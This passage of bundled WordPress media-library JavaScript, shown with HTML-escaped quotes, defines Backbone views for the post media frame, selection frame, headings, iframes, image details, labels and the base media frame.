						state.trigger( &#039;replace&#039;, controller.image.toJSON() );

						// Restore and reset the default state.
						controller.setState( controller.options.state );
						controller.reset();
					}
				}
			}
		}) );
	}

});

module.exports = ImageDetails;


/***/ },

/***/ 4274
(module) {

var Select = wp.media.view.MediaFrame.Select,
	Library = wp.media.controller.Library,
	l10n = wp.media.view.l10n,
	Post;

/**
 * wp.media.view.MediaFrame.Post
 *
 * The frame for manipulating media on the Edit Post page.
 *
 * @memberOf wp.media.view.MediaFrame
 *
 * @class
 * @augments wp.media.view.MediaFrame.Select
 * @augments wp.media.view.MediaFrame
 * @augments wp.media.view.Frame
 * @augments wp.media.View
 * @augments wp.Backbone.View
 * @augments Backbone.View
 * @mixes wp.media.controller.StateMachine
 */
Post = Select.extend(/** @lends wp.media.view.MediaFrame.Post.prototype */{
	initialize: function() {
		this.counts = {
			audio: {
				count: wp.media.view.settings.attachmentCounts.audio,
				state: &#039;playlist&#039;
			},
			video: {
				count: wp.media.view.settings.attachmentCounts.video,
				state: &#039;video-playlist&#039;
			}
		};

		_.defaults( this.options, {
			multiple:  true,
			editing:   false,
			state:    &#039;insert&#039;,
			metadata:  {}
		});

		// Call &#039;initialize&#039; directly on the parent class.
		Select.prototype.initialize.apply( this, arguments );
		this.createIframeStates();

	},

	/**
	 * Create the default states.
	 */
	createStates: function() {
		var options = this.options;

		this.states.add([
			// Main states.
			new Library({
				id:         &#039;insert&#039;,
				title:      l10n.insertMediaTitle,
				priority:   20,
				toolbar:    &#039;main-insert&#039;,
				filterable: &#039;all&#039;,
				library:    wp.media.query( options.library ),
				multiple:   options.multiple ? &#039;reset&#039; : false,
				editable:   true,

				// If the user isn&#039;t allowed to edit fields,
				// can they still edit it locally?
				allowLocalEdits: true,

				// Show the attachment display settings.
				displaySettings: true,
				// Update user settings when users adjust the
				// attachment display settings.
				displayUserSettings: true
			}),

			new Library({
				id:         &#039;gallery&#039;,
				title:      l10n.createGalleryTitle,
				priority:   40,
				toolbar:    &#039;main-gallery&#039;,
				filterable: &#039;uploaded&#039;,
				multiple:   &#039;add&#039;,
				editable:   false,

				library:  wp.media.query( _.defaults({
					type: &#039;image&#039;
				}, options.library ) )
			}),

			// Embed states.
			new wp.media.controller.Embed( { metadata: options.metadata } ),

			new wp.media.controller.EditImage( { model: options.editImage } ),

			// Gallery states.
			new wp.media.controller.GalleryEdit({
				library: options.selection,
				editing: options.editing,
				menu:    &#039;gallery&#039;
			}),

			new wp.media.controller.GalleryAdd(),

			new Library({
				id:         &#039;playlist&#039;,
				title:      l10n.createPlaylistTitle,
				priority:   60,
				toolbar:    &#039;main-playlist&#039;,
				filterable: &#039;uploaded&#039;,
				multiple:   &#039;add&#039;,
				editable:   false,

				library:  wp.media.query( _.defaults({
					type: &#039;audio&#039;
				}, options.library ) )
			}),

			// Playlist states.
			new wp.media.controller.CollectionEdit({
				type: &#039;audio&#039;,
				collectionType: &#039;playlist&#039;,
				title:          l10n.editPlaylistTitle,
				SettingsView:   wp.media.view.Settings.Playlist,
				library:        options.selection,
				editing:        options.editing,
				menu:           &#039;playlist&#039;,
				dragInfoText:   l10n.playlistDragInfo,
				dragInfo:       false
			}),

			new wp.media.controller.CollectionAdd({
				type: &#039;audio&#039;,
				collectionType: &#039;playlist&#039;,
				title: l10n.addToPlaylistTitle
			}),

			new Library({
				id:         &#039;video-playlist&#039;,
				title:      l10n.createVideoPlaylistTitle,
				priority:   60,
				toolbar:    &#039;main-video-playlist&#039;,
				filterable: &#039;uploaded&#039;,
				multiple:   &#039;add&#039;,
				editable:   false,

				library:  wp.media.query( _.defaults({
					type: &#039;video&#039;
				}, options.library ) )
			}),

			new wp.media.controller.CollectionEdit({
				type: &#039;video&#039;,
				collectionType: &#039;playlist&#039;,
				title:          l10n.editVideoPlaylistTitle,
				SettingsView:   wp.media.view.Settings.Playlist,
				library:        options.selection,
				editing:        options.editing,
				menu:           &#039;video-playlist&#039;,
				dragInfoText:   l10n.videoPlaylistDragInfo,
				dragInfo:       false
			}),

			new wp.media.controller.CollectionAdd({
				type: &#039;video&#039;,
				collectionType: &#039;playlist&#039;,
				title: l10n.addToVideoPlaylistTitle
			})
		]);

		if ( wp.media.view.settings.post.featuredImageId ) {
			this.states.add( new wp.media.controller.FeaturedImage() );
		}
	},

	bindHandlers: function() {
		var handlers, checkCounts;

		Select.prototype.bindHandlers.apply( this, arguments );

		this.on( &#039;activate&#039;, this.activate, this );

		// Only bother checking media type counts if one of the counts is zero.
		checkCounts = _.find( this.counts, function( type ) {
			return type.count === 0;
		} );

		if ( typeof checkCounts !== &#039;undefined&#039; ) {
			this.listenTo( wp.media.model.Attachments.all, &#039;change:type&#039;, this.mediaTypeCounts );
		}

		this.on( &#039;menu:create:gallery&#039;, this.createMenu, this );
		this.on( &#039;menu:create:playlist&#039;, this.createMenu, this );
		this.on( &#039;menu:create:video-playlist&#039;, this.createMenu, this );
		this.on( &#039;toolbar:create:main-insert&#039;, this.createToolbar, this );
		this.on( &#039;toolbar:create:main-gallery&#039;, this.createToolbar, this );
		this.on( &#039;toolbar:create:main-playlist&#039;, this.createToolbar, this );
		this.on( &#039;toolbar:create:main-video-playlist&#039;, this.createToolbar, this );
		this.on( &#039;toolbar:create:featured-image&#039;, this.featuredImageToolbar, this );
		this.on( &#039;toolbar:create:main-embed&#039;, this.mainEmbedToolbar, this );

		handlers = {
			menu: {
				&#039;default&#039;: &#039;mainMenu&#039;,
				&#039;gallery&#039;: &#039;galleryMenu&#039;,
				&#039;playlist&#039;: &#039;playlistMenu&#039;,
				&#039;video-playlist&#039;: &#039;videoPlaylistMenu&#039;
			},

			content: {
				&#039;embed&#039;:          &#039;embedContent&#039;,
				&#039;edit-image&#039;:     &#039;editImageContent&#039;,
				&#039;edit-selection&#039;: &#039;editSelectionContent&#039;
			},

			toolbar: {
				&#039;main-insert&#039;:      &#039;mainInsertToolbar&#039;,
				&#039;main-gallery&#039;:     &#039;mainGalleryToolbar&#039;,
				&#039;gallery-edit&#039;:     &#039;galleryEditToolbar&#039;,
				&#039;gallery-add&#039;:      &#039;galleryAddToolbar&#039;,
				&#039;main-playlist&#039;:	&#039;mainPlaylistToolbar&#039;,
				&#039;playlist-edit&#039;:	&#039;playlistEditToolbar&#039;,
				&#039;playlist-add&#039;:		&#039;playlistAddToolbar&#039;,
				&#039;main-video-playlist&#039;: &#039;mainVideoPlaylistToolbar&#039;,
				&#039;video-playlist-edit&#039;: &#039;videoPlaylistEditToolbar&#039;,
				&#039;video-playlist-add&#039;: &#039;videoPlaylistAddToolbar&#039;
			}
		};

		_.each( handlers, function( regionHandlers, region ) {
			_.each( regionHandlers, function( callback, handler ) {
				this.on( region + &#039;:render:&#039; + handler, this[ callback ], this );
			}, this );
		}, this );
	},

	activate: function() {
		// Hide menu items for states tied to particular media types if there are no items.
		_.each( this.counts, function( type ) {
			if ( type.count &lt; 1 ) {
				this.menuItemVisibility( type.state, &#039;hide&#039; );
			}
		}, this );
	},

	mediaTypeCounts: function( model, attr ) {
		if ( typeof this.counts[ attr ] !== &#039;undefined&#039; &amp;&amp; this.counts[ attr ].count &lt; 1 ) {
			this.counts[ attr ].count++;
			this.menuItemVisibility( this.counts[ attr ].state, &#039;show&#039; );
		}
	},

	// Menus.
	/**
	 * @param {wp.Backbone.View} view
	 */
	mainMenu: function( view ) {
		view.set({
			&#039;library-separator&#039;: new wp.media.View({
				className:  &#039;separator&#039;,
				priority:   100,
				attributes: {
					role: &#039;presentation&#039;
				}
			})
		});
	},

	menuItemVisibility: function( state, visibility ) {
		var menu = this.menu.get();
		if ( visibility === &#039;hide&#039; ) {
			menu.hide( state );
		} else if ( visibility === &#039;show&#039; ) {
			menu.show( state );
		}
	},
	/**
	 * @param {wp.Backbone.View} view
	 */
	galleryMenu: function( view ) {
		var lastState = this.lastState(),
			previous = lastState &amp;&amp; lastState.id,
			frame = this;

		view.set({
			cancel: {
				text:     l10n.cancelGalleryTitle,
				priority: 20,
				click:    function() {
					if ( previous ) {
						frame.setState( previous );
					} else {
						frame.close();
					}

					// Move focus to the modal after canceling a Gallery.
					this.controller.modal.focusManager.focus();
				}
			},
			separateCancel: new wp.media.View({
				className: &#039;separator&#039;,
				priority: 40
			})
		});
	},

	playlistMenu: function( view ) {
		var lastState = this.lastState(),
			previous = lastState &amp;&amp; lastState.id,
			frame = this;

		view.set({
			cancel: {
				text:     l10n.cancelPlaylistTitle,
				priority: 20,
				click:    function() {
					if ( previous ) {
						frame.setState( previous );
					} else {
						frame.close();
					}

					// Move focus to the modal after canceling an Audio Playlist.
					this.controller.modal.focusManager.focus();
				}
			},
			separateCancel: new wp.media.View({
				className: &#039;separator&#039;,
				priority: 40
			})
		});
	},

	videoPlaylistMenu: function( view ) {
		var lastState = this.lastState(),
			previous = lastState &amp;&amp; lastState.id,
			frame = this;

		view.set({
			cancel: {
				text:     l10n.cancelVideoPlaylistTitle,
				priority: 20,
				click:    function() {
					if ( previous ) {
						frame.setState( previous );
					} else {
						frame.close();
					}

					// Move focus to the modal after canceling a Video Playlist.
					this.controller.modal.focusManager.focus();
				}
			},
			separateCancel: new wp.media.View({
				className: &#039;separator&#039;,
				priority: 40
			})
		});
	},

	// Content.
	embedContent: function() {
		var view = new wp.media.view.Embed({
			controller: this,
			model:      this.state()
		}).render();

		this.content.set( view );
	},

	editSelectionContent: function() {
		var state = this.state(),
			selection = state.get(&#039;selection&#039;),
			view;

		view = new wp.media.view.AttachmentsBrowser({
			controller: this,
			collection: selection,
			selection:  selection,
			model:      state,
			sortable:   true,
			search:     false,
			date:       false,
			dragInfo:   true,

			AttachmentView: wp.media.view.Attachments.EditSelection
		}).render();

		view.toolbar.set( &#039;backToLibrary&#039;, {
			text:     l10n.returnToLibrary,
			priority: -100,

			click: function() {
				this.controller.content.mode(&#039;browse&#039;);
				// Move focus to the modal when jumping back from Edit Selection to Add Media view.
				this.controller.modal.focusManager.focus();
			}
		});

		// Browse our library of attachments.
		this.content.set( view );

		// Trigger the controller to set focus.
		this.trigger( &#039;edit:selection&#039;, this );
	},

	editImageContent: function() {
		var image = this.state().get(&#039;image&#039;),
			view = new wp.media.view.EditImage( { model: image, controller: this } ).render();

		this.content.set( view );

		// After creating the wrapper view, load the actual editor via an Ajax call.
		view.loadEditor();

	},

	// Toolbars.

	/**
	 * @param {wp.Backbone.View} view
	 */
	selectionStatusToolbar: function( view ) {
		var editable = this.state().get(&#039;editable&#039;);

		view.set( &#039;selection&#039;, new wp.media.view.Selection({
			controller: this,
			collection: this.state().get(&#039;selection&#039;),
			priority:   -40,

			// If the selection is editable, pass the callback to
			// switch the content mode.
			editable: editable &amp;&amp; function() {
				this.controller.content.mode(&#039;edit-selection&#039;);
			}
		}).render() );
	},

	/**
	 * @param {wp.Backbone.View} view
	 */
	mainInsertToolbar: function( view ) {
		var controller = this;

		this.selectionStatusToolbar( view );

		view.set( &#039;insert&#039;, {
			style:    &#039;primary&#039;,
			priority: 80,
			text:     l10n.insertIntoPost,
			requires: { selection: true },

			/**
			 * @ignore
			 *
			 * @fires wp.media.controller.State#insert
			 */
			click: function() {
				var state = controller.state(),
					selection = state.get(&#039;selection&#039;);

				controller.close();
				state.trigger( &#039;insert&#039;, selection ).reset();
			}
		});
	},

	/**
	 * @param {wp.Backbone.View} view
	 */
	mainGalleryToolbar: function( view ) {
		var controller = this;

		this.selectionStatusToolbar( view );

		view.set( &#039;gallery&#039;, {
			style:    &#039;primary&#039;,
			text:     l10n.createNewGallery,
			priority: 60,
			requires: { selection: true },

			click: function() {
				var selection = controller.state().get(&#039;selection&#039;),
					edit = controller.state(&#039;gallery-edit&#039;),
					models = selection.where({ type: &#039;image&#039; });

				edit.set( &#039;library&#039;, new wp.media.model.Selection( models, {
					props:    selection.props.toJSON(),
					multiple: true
				}) );

				// Jump to Edit Gallery view.
				this.controller.setState( &#039;gallery-edit&#039; );

				// Move focus to the modal after jumping to Edit Gallery view.
				this.controller.modal.focusManager.focus();
			}
		});
	},

	mainPlaylistToolbar: function( view ) {
		var controller = this;

		this.selectionStatusToolbar( view );

		view.set( &#039;playlist&#039;, {
			style:    &#039;primary&#039;,
			text:     l10n.createNewPlaylist,
			priority: 100,
			requires: { selection: true },

			click: function() {
				var selection = controller.state().get(&#039;selection&#039;),
					edit = controller.state(&#039;playlist-edit&#039;),
					models = selection.where({ type: &#039;audio&#039; });

				edit.set( &#039;library&#039;, new wp.media.model.Selection( models, {
					props:    selection.props.toJSON(),
					multiple: true
				}) );

				// Jump to Edit Audio Playlist view.
				this.controller.setState( &#039;playlist-edit&#039; );

				// Move focus to the modal after jumping to Edit Audio Playlist view.
				this.controller.modal.focusManager.focus();
			}
		});
	},

	mainVideoPlaylistToolbar: function( view ) {
		var controller = this;

		this.selectionStatusToolbar( view );

		view.set( &#039;video-playlist&#039;, {
			style:    &#039;primary&#039;,
			text:     l10n.createNewVideoPlaylist,
			priority: 100,
			requires: { selection: true },

			click: function() {
				var selection = controller.state().get(&#039;selection&#039;),
					edit = controller.state(&#039;video-playlist-edit&#039;),
					models = selection.where({ type: &#039;video&#039; });

				edit.set( &#039;library&#039;, new wp.media.model.Selection( models, {
					props:    selection.props.toJSON(),
					multiple: true
				}) );

				// Jump to Edit Video Playlist view.
				this.controller.setState( &#039;video-playlist-edit&#039; );

				// Move focus to the modal after jumping to Edit Video Playlist view.
				this.controller.modal.focusManager.focus();
			}
		});
	},

	featuredImageToolbar: function( toolbar ) {
		this.createSelectToolbar( toolbar, {
			text:  l10n.setFeaturedImage,
			state: this.options.state
		});
	},

	mainEmbedToolbar: function( toolbar ) {
		toolbar.view = new wp.media.view.Toolbar.Embed({
			controller: this
		});
	},

	galleryEditToolbar: function() {
		var editing = this.state().get(&#039;editing&#039;);
		this.toolbar.set( new wp.media.view.Toolbar({
			controller: this,
			items: {
				insert: {
					style:    &#039;primary&#039;,
					text:     editing ? l10n.updateGallery : l10n.insertGallery,
					priority: 80,
					requires: { library: true, uploadingComplete: true },

					/**
					 * @fires wp.media.controller.State#update
					 */
					click: function() {
						var controller = this.controller,
							state = controller.state();

						controller.close();
						state.trigger( &#039;update&#039;, state.get(&#039;library&#039;) );

						// Restore and reset the default state.
						controller.setState( controller.options.state );
						controller.reset();
					}
				}
			}
		}) );
	},

	galleryAddToolbar: function() {
		this.toolbar.set( new wp.media.view.Toolbar({
			controller: this,
			items: {
				insert: {
					style:    &#039;primary&#039;,
					text:     l10n.addToGallery,
					priority: 80,
					requires: { selection: true },

					/**
					 * @fires wp.media.controller.State#reset
					 */
					click: function() {
						var controller = this.controller,
							state = controller.state(),
							edit = controller.state(&#039;gallery-edit&#039;);

						edit.get(&#039;library&#039;).add( state.get(&#039;selection&#039;).models );
						state.trigger(&#039;reset&#039;);
						controller.setState(&#039;gallery-edit&#039;);
						// Move focus to the modal when jumping back from Add to Gallery to Edit Gallery view.
						this.controller.modal.focusManager.focus();
					}
				}
			}
		}) );
	},

	playlistEditToolbar: function() {
		var editing = this.state().get(&#039;editing&#039;);
		this.toolbar.set( new wp.media.view.Toolbar({
			controller: this,
			items: {
				insert: {
					style:    &#039;primary&#039;,
					text:     editing ? l10n.updatePlaylist : l10n.insertPlaylist,
					priority: 80,
					requires: { library: true },

					/**
					 * @fires wp.media.controller.State#update
					 */
					click: function() {
						var controller = this.controller,
							state = controller.state();

						controller.close();
						state.trigger( &#039;update&#039;, state.get(&#039;library&#039;) );

						// Restore and reset the default state.
						controller.setState( controller.options.state );
						controller.reset();
					}
				}
			}
		}) );
	},

	playlistAddToolbar: function() {
		this.toolbar.set( new wp.media.view.Toolbar({
			controller: this,
			items: {
				insert: {
					style:    &#039;primary&#039;,
					text:     l10n.addToPlaylist,
					priority: 80,
					requires: { selection: true },

					/**
					 * @fires wp.media.controller.State#reset
					 */
					click: function() {
						var controller = this.controller,
							state = controller.state(),
							edit = controller.state(&#039;playlist-edit&#039;);

						edit.get(&#039;library&#039;).add( state.get(&#039;selection&#039;).models );
						state.trigger(&#039;reset&#039;);
						controller.setState(&#039;playlist-edit&#039;);
						// Move focus to the modal when jumping back from Add to Audio Playlist to Edit Audio Playlist view.
						this.controller.modal.focusManager.focus();
					}
				}
			}
		}) );
	},

	videoPlaylistEditToolbar: function() {
		var editing = this.state().get(&#039;editing&#039;);
		this.toolbar.set( new wp.media.view.Toolbar({
			controller: this,
			items: {
				insert: {
					style:    &#039;primary&#039;,
					text:     editing ? l10n.updateVideoPlaylist : l10n.insertVideoPlaylist,
					priority: 140,
					requires: { library: true },

					click: function() {
						var controller = this.controller,
							state = controller.state(),
							library = state.get(&#039;library&#039;);

						library.type = &#039;video&#039;;

						controller.close();
						state.trigger( &#039;update&#039;, library );

						// Restore and reset the default state.
						controller.setState( controller.options.state );
						controller.reset();
					}
				}
			}
		}) );
	},

	videoPlaylistAddToolbar: function() {
		this.toolbar.set( new wp.media.view.Toolbar({
			controller: this,
			items: {
				insert: {
					style:    &#039;primary&#039;,
					text:     l10n.addToVideoPlaylist,
					priority: 140,
					requires: { selection: true },

					click: function() {
						var controller = this.controller,
							state = controller.state(),
							edit = controller.state(&#039;video-playlist-edit&#039;);

						edit.get(&#039;library&#039;).add( state.get(&#039;selection&#039;).models );
						state.trigger(&#039;reset&#039;);
						controller.setState(&#039;video-playlist-edit&#039;);
						// Move focus to the modal when jumping back from Add to Video Playlist to Edit Video Playlist view.
						this.controller.modal.focusManager.focus();
					}
				}
			}
		}) );
	}
});

module.exports = Post;


/***/ },

/***/ 455
(module) {

var MediaFrame = wp.media.view.MediaFrame,
	l10n = wp.media.view.l10n,
	Select;

/**
 * wp.media.view.MediaFrame.Select
 *
 * A frame for selecting an item or items from the media library.
 *
 * @memberOf wp.media.view.MediaFrame
 *
 * @class
 * @augments wp.media.view.MediaFrame
 * @augments wp.media.view.Frame
 * @augments wp.media.View
 * @augments wp.Backbone.View
 * @augments Backbone.View
 * @mixes wp.media.controller.StateMachine
 */
Select = MediaFrame.extend(/** @lends wp.media.view.MediaFrame.Select.prototype */{
	initialize: function() {
		// Call &#039;initialize&#039; directly on the parent class.
		MediaFrame.prototype.initialize.apply( this, arguments );

		_.defaults( this.options, {
			selection: [],
			library:   {},
			multiple:  false,
			state:    &#039;library&#039;
		});

		this.createSelection();
		this.createStates();
		this.bindHandlers();
	},

	/**
	 * Attach a selection collection to the frame.
	 *
	 * A selection is a collection of attachments used for a specific purpose
	 * by a media frame. e.g. Selecting an attachment (or many) to insert into
	 * post content.
	 *
	 * @see media.model.Selection
	 */
	createSelection: function() {
		var selection = this.options.selection;

		if ( ! (selection instanceof wp.media.model.Selection) ) {
			this.options.selection = new wp.media.model.Selection( selection, {
				multiple: this.options.multiple
			});
		}

		this._selection = {
			attachments: new wp.media.model.Attachments(),
			difference: []
		};
	},

	editImageContent: function() {
		var image = this.state().get(&#039;image&#039;),
			view = new wp.media.view.EditImage( { model: image, controller: this } ).render();

		this.content.set( view );

		// After creating the wrapper view, load the actual editor via an Ajax call.
		view.loadEditor();
	},

	/**
	 * Create the default states on the frame.
	 */
	createStates: function() {
		var options = this.options;

		if ( this.options.states ) {
			return;
		}

		// Add the default states.
		this.states.add([
			// Main states.
			new wp.media.controller.Library({
				library:   wp.media.query( options.library ),
				multiple:  options.multiple,
				title:     options.title,
				priority:  20
			}),
			new wp.media.controller.EditImage( { model: options.editImage } )
		]);
	},

	/**
	 * Bind region mode event callbacks.
	 *
	 * @see media.controller.Region.render
	 */
	bindHandlers: function() {
		this.on( &#039;router:create:browse&#039;, this.createRouter, this );
		this.on( &#039;router:render:browse&#039;, this.browseRouter, this );
		this.on( &#039;content:create:browse&#039;, this.browseContent, this );
		this.on( &#039;content:render:upload&#039;, this.uploadContent, this );
		this.on( &#039;toolbar:create:select&#039;, this.createSelectToolbar, this );
		this.on( &#039;content:render:edit-image&#039;, this.editImageContent, this );
	},

	/**
	 * Render callback for the router region in the `browse` mode.
	 *
	 * @param {wp.media.view.Router} routerView
	 */
	browseRouter: function( routerView ) {
		routerView.set({
			upload: {
				text:     l10n.uploadFilesTitle,
				priority: 20
			},
			browse: {
				text:     l10n.mediaLibraryTitle,
				priority: 40
			}
		});
	},

	/**
	 * Render callback for the content region in the `browse` mode.
	 *
	 * @param {wp.media.controller.Region} contentRegion
	 */
	browseContent: function( contentRegion ) {
		var state = this.state();

		this.$el.removeClass(&#039;hide-toolbar&#039;);

		// Browse our library of attachments.
		contentRegion.view = new wp.media.view.AttachmentsBrowser({
			controller: this,
			collection: state.get(&#039;library&#039;),
			selection:  state.get(&#039;selection&#039;),
			model:      state,
			sortable:   state.get(&#039;sortable&#039;),
			search:     state.get(&#039;searchable&#039;),
			filters:    state.get(&#039;filterable&#039;),
			date:       state.get(&#039;date&#039;),
			display:    state.has(&#039;display&#039;) ? state.get(&#039;display&#039;) : state.get(&#039;displaySettings&#039;),
			dragInfo:   state.get(&#039;dragInfo&#039;),

			idealColumnWidth: state.get(&#039;idealColumnWidth&#039;),
			suggestedWidth:   state.get(&#039;suggestedWidth&#039;),
			suggestedHeight:  state.get(&#039;suggestedHeight&#039;),

			AttachmentView: state.get(&#039;AttachmentView&#039;)
		});
	},

	/**
	 * Render callback for the content region in the `upload` mode.
	 */
	uploadContent: function() {
		this.$el.removeClass( &#039;hide-toolbar&#039; );
		this.content.set( new wp.media.view.UploaderInline({
			controller: this
		}) );
	},

	/**
	 * Toolbars
	 *
	 * @param {Object} toolbar
	 * @param {Object} [options={}]
	 * @this wp.media.controller.Region
	 */
	createSelectToolbar: function( toolbar, options ) {
		options = options || this.options.button || {};
		options.controller = this;

		toolbar.view = new wp.media.view.Toolbar.Select( options );
	}
});

module.exports = Select;


/***/ },

/***/ 170
(module) {

/**
 * wp.media.view.Heading
 *
 * A reusable heading component for the media library
 *
 * Used to add accessibility friendly headers in the media library/modal.
 *
 * @class
 * @augments wp.media.View
 * @augments wp.Backbone.View
 * @augments Backbone.View
 */
var Heading = wp.media.View.extend( {
	tagName: function() {
		return this.options.level || &#039;h1&#039;;
	},
	className: &#039;media-views-heading&#039;,

	initialize: function() {

		if ( this.options.className ) {
			this.$el.addClass( this.options.className );
		}

		this.text = this.options.text;
	},

	render: function() {
		this.$el.html( this.text );
		return this;
	}
} );

module.exports = Heading;


/***/ },

/***/ 1982
(module) {

/**
 * wp.media.view.Iframe
 *
 * @memberOf wp.media.view
 *
 * @class
 * @augments wp.media.View
 * @augments wp.Backbone.View
 * @augments Backbone.View
 */
var Iframe = wp.media.View.extend(/** @lends wp.media.view.Iframe.prototype */{
	className: &#039;media-iframe&#039;,
	/**
	 * @return {wp.media.view.Iframe} Returns itself to allow chaining.
	 */
	render: function() {
		this.views.detach();
		this.$el.html( &#039;&lt;iframe src=&quot;&#039; + this.controller.state().get(&#039;src&#039;) + &#039;&quot; /&gt;&#039; );
		this.views.render();
		return this;
	}
});

module.exports = Iframe;


/***/ },

/***/ 2650
(module) {

var AttachmentDisplay = wp.media.view.Settings.AttachmentDisplay,
	$ = jQuery,
	ImageDetails;

/**
 * wp.media.view.ImageDetails
 *
 * @memberOf wp.media.view
 *
 * @class
 * @augments wp.media.view.Settings.AttachmentDisplay
 * @augments wp.media.view.Settings
 * @augments wp.media.View
 * @augments wp.Backbone.View
 * @augments Backbone.View
 */
ImageDetails = AttachmentDisplay.extend(/** @lends wp.media.view.ImageDetails.prototype */{
	className: &#039;image-details&#039;,
	template:  wp.template(&#039;image-details&#039;),
	events: _.defaults( AttachmentDisplay.prototype.events, {
		&#039;click .edit-attachment&#039;: &#039;editAttachment&#039;,
		&#039;click .replace-attachment&#039;: &#039;replaceAttachment&#039;,
		&#039;click .advanced-toggle&#039;: &#039;onToggleAdvanced&#039;,
		&#039;change [data-setting=&quot;customWidth&quot;]&#039;: &#039;onCustomSize&#039;,
		&#039;change [data-setting=&quot;customHeight&quot;]&#039;: &#039;onCustomSize&#039;,
		&#039;keyup [data-setting=&quot;customWidth&quot;]&#039;: &#039;onCustomSize&#039;,
		&#039;keyup [data-setting=&quot;customHeight&quot;]&#039;: &#039;onCustomSize&#039;
	} ),
	initialize: function() {
		// Used in AttachmentDisplay.prototype.updateLinkTo.
		this.options.attachment = this.model.attachment;
		this.listenTo( this.model, &#039;change:url&#039;, this.updateUrl );
		this.listenTo( this.model, &#039;change:link&#039;, this.toggleLinkSettings );
		this.listenTo( this.model, &#039;change:size&#039;, this.toggleCustomSize );

		AttachmentDisplay.prototype.initialize.apply( this, arguments );
	},

	prepare: function() {
		var attachment = false;

		if ( this.model.attachment ) {
			attachment = this.model.attachment.toJSON();
		}
		return _.defaults({
			model: this.model.toJSON(),
			attachment: attachment
		}, this.options );
	},

	render: function() {
		var args = arguments;

		if ( this.model.attachment &amp;&amp; &#039;pending&#039; === this.model.dfd.state() ) {
			this.model.dfd
				.done( _.bind( function() {
					AttachmentDisplay.prototype.render.apply( this, args );
					this.postRender();
				}, this ) )
				.fail( _.bind( function() {
					this.model.attachment = false;
					AttachmentDisplay.prototype.render.apply( this, args );
					this.postRender();
				}, this ) );
		} else {
			AttachmentDisplay.prototype.render.apply( this, arguments );
			this.postRender();
		}

		return this;
	},

	postRender: function() {
		setTimeout( _.bind( this.scrollToTop, this ), 10 );
		this.toggleLinkSettings();
		if ( window.getUserSetting( &#039;advImgDetails&#039; ) === &#039;show&#039; ) {
			this.toggleAdvanced( true );
		}
		this.trigger( &#039;post-render&#039; );
	},

	scrollToTop: function() {
		this.$( &#039;.embed-media-settings&#039; ).scrollTop( 0 );
	},

	updateUrl: function() {
		this.$( &#039;.image img&#039; ).attr( &#039;src&#039;, this.model.get( &#039;url&#039; ) );
		this.$( &#039;.url&#039; ).val( this.model.get( &#039;url&#039; ) );
	},

	toggleLinkSettings: function() {
		if ( this.model.get( &#039;link&#039; ) === &#039;none&#039; ) {
			this.$( &#039;.link-settings&#039; ).addClass(&#039;hidden&#039;);
		} else {
			this.$( &#039;.link-settings&#039; ).removeClass(&#039;hidden&#039;);
		}
	},

	toggleCustomSize: function() {
		if ( this.model.get( &#039;size&#039; ) !== &#039;custom&#039; ) {
			this.$( &#039;.custom-size&#039; ).addClass(&#039;hidden&#039;);
		} else {
			this.$( &#039;.custom-size&#039; ).removeClass(&#039;hidden&#039;);
		}
	},

	onCustomSize: function( event ) {
		var dimension = $( event.target ).data(&#039;setting&#039;),
			num = $( event.target ).val(),
			value;

		// Ignore bogus input.
		if ( ! /^\d+/.test( num ) || parseInt( num, 10 ) &lt; 1 ) {
			event.preventDefault();
			return;
		}

		if ( dimension === &#039;customWidth&#039; ) {
			value = Math.round( 1 / this.model.get( &#039;aspectRatio&#039; ) * num );
			this.model.set( &#039;customHeight&#039;, value, { silent: true } );
			this.$( &#039;[data-setting=&quot;customHeight&quot;]&#039; ).val( value );
		} else {
			value = Math.round( this.model.get( &#039;aspectRatio&#039; ) * num );
			this.model.set( &#039;customWidth&#039;, value, { silent: true  } );
			this.$( &#039;[data-setting=&quot;customWidth&quot;]&#039; ).val( value );
		}
	},

	onToggleAdvanced: function( event ) {
		event.preventDefault();
		this.toggleAdvanced();
	},

	toggleAdvanced: function( show ) {
		var $advanced = this.$el.find( &#039;.advanced-section&#039; ),
			mode;

		if ( $advanced.hasClass(&#039;advanced-visible&#039;) || show === false ) {
			$advanced.removeClass(&#039;advanced-visible&#039;);
			$advanced.find(&#039;.advanced-settings&#039;).addClass(&#039;hidden&#039;);
			mode = &#039;hide&#039;;
		} else {
			$advanced.addClass(&#039;advanced-visible&#039;);
			$advanced.find(&#039;.advanced-settings&#039;).removeClass(&#039;hidden&#039;);
			mode = &#039;show&#039;;
		}

		window.setUserSetting( &#039;advImgDetails&#039;, mode );
	},

	editAttachment: function( event ) {
		var editState = this.controller.states.get( &#039;edit-image&#039; );

		if ( window.imageEdit &amp;&amp; editState ) {
			event.preventDefault();
			editState.set( &#039;image&#039;, this.model.attachment );
			this.controller.setState( &#039;edit-image&#039; );
		}
	},

	replaceAttachment: function( event ) {
		event.preventDefault();
		this.controller.setState( &#039;replace-image&#039; );
	}
});

module.exports = ImageDetails;


/***/ },

/***/ 4338
(module) {

/**
 * wp.media.view.Label
 *
 * @memberOf wp.media.view
 *
 * @class
 * @augments wp.media.View
 * @augments wp.Backbone.View
 * @augments Backbone.View
 */
var Label = wp.media.View.extend(/** @lends wp.media.view.Label.prototype */{
	tagName: &#039;label&#039;,

	initialize: function() {
		this.value = this.options.value;
	},

	render: function() {
		this.$el.html( this.value );

		return this;
	}
});

module.exports = Label;


/***/ },

/***/ 2836
(module) {

var Frame = wp.media.view.Frame,
	l10n = wp.media.view.l10n,
	$ = jQuery,
	MediaFrame;

/**
 * wp.media.view.MediaFrame
 *
 * The frame used to create the media modal.
 *
 * @memberOf wp.media.view
 *
 * @class
 * @augments wp.media.view.Frame
 * @augments wp.media.View
 * @augments wp.Backbone.View
 * @augments Backbone.View
 * @mixes wp.media.controller.StateMachine
 */
MediaFrame = Frame.extend(/** @lends wp.media.view.MediaFrame.prototype */{
	className: &#039;media-frame&#039;,
	template:  wp.template(&#039;media-frame&#039;),
	regions:   [&#039;menu&#039;,&#039;title&#039;,&#039;content&#039;,&#039;toolbar&#039;,&#039;router&#039;],

	events: {
		&#039;click .media-frame-menu-toggle&#039;: &#039;toggleMenu&#039;
	},

	/**
	 * @constructs
	 */
	initialize: function() {
		Frame.prototype.initialize.apply( this, arguments );

		_.defaults( this.options, {
			title:    l10n.mediaFrameDefaultTitle,
			modal:    true,
			uploader: true
		});

		// Ensure core UI is enabled.
		this.$el.addClass(&#039;wp-core-ui&#039;);

		// Initialize modal container view.
		if ( this.options.modal ) {
			this.modal = new wp.media.view.Modal({
				controller: this,
				title:      this.options.title
			});

			this.modal.content( this );
		}

		// Force the uploader off if the upload limit has been exceeded or
